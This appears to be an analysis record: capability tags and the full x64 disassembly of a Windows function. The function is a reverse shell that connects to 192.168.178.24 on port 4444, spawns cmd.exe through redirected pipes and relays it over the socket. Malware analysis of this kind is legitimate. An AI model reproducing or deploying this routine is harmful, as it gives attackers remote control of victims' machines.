Function at 0x140001180
Capabilities:
Connect socket
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor ebx, ebx
mov ecx, 0x202
lea rdx, [rbp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400012ce
xor r8d, r8d
lea edx, [rbx + 1]
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140005708], rax
cmp rax, 0xffffffffffffffff
je 0x1400012c8
mov word [rbp + 0x58], di
mov qword [rbp + 0x50], rbx
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, str.192.168.178.24
lea r8d, [rbx + 0x10]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea r8, [rbp + 0x5c]
lea rdx, [rbp + 0x220]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_InetPtonW]
mov ecx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x5a], ax
lea r8d, [rbx + 0x10]
lea rdx, [rbp + 0x58]
mov rcx, qword [0x140005708]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000125f
mov rcx, qword [0x140005708]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1400012c8
mov dword [rsp + 0x70], 0x18
mov dword [rbp - 0x80], 1
mov qword [rsp + 0x78], rbx
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140001250
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x1400012f2
mov rcx, qword [0x140005708]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140001620
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400012a5
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14000135c
mov rcx, qword [0x140005708]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
jmp 0x1400012c2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], eax
mov dword [rbp - 0x70], 0x68
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x20], rax
psrldq xmm0, 8
movd eax, xmm0
bts eax, 8
mov dword [rbp - 0x34], eax
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rbp + 0x210], xmm0
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001324
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400018dc
mov rcx, qword [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [0x140001020]
mov qword [rax + 8], rcx
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400015e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x1400015a1
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400018dc
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
lea rcx, [0x1400010b0]
mov qword [rax + 8], rcx
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400015e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x140001592
cmp dword [rbp + 0x38], 0
je 0x140001586
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x38], eax
je 0x14000157a
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140001571
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
cmp dword [rbp + 0x28], eax
je 0x140001586
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x28], eax
je 0x14000157a
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140001571
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
mov rcx, qword [0x140005708]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
cmp dword [rbp + 0x28], 0
je 0x140001560
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x38], 0
je 0x1400012ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x28], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3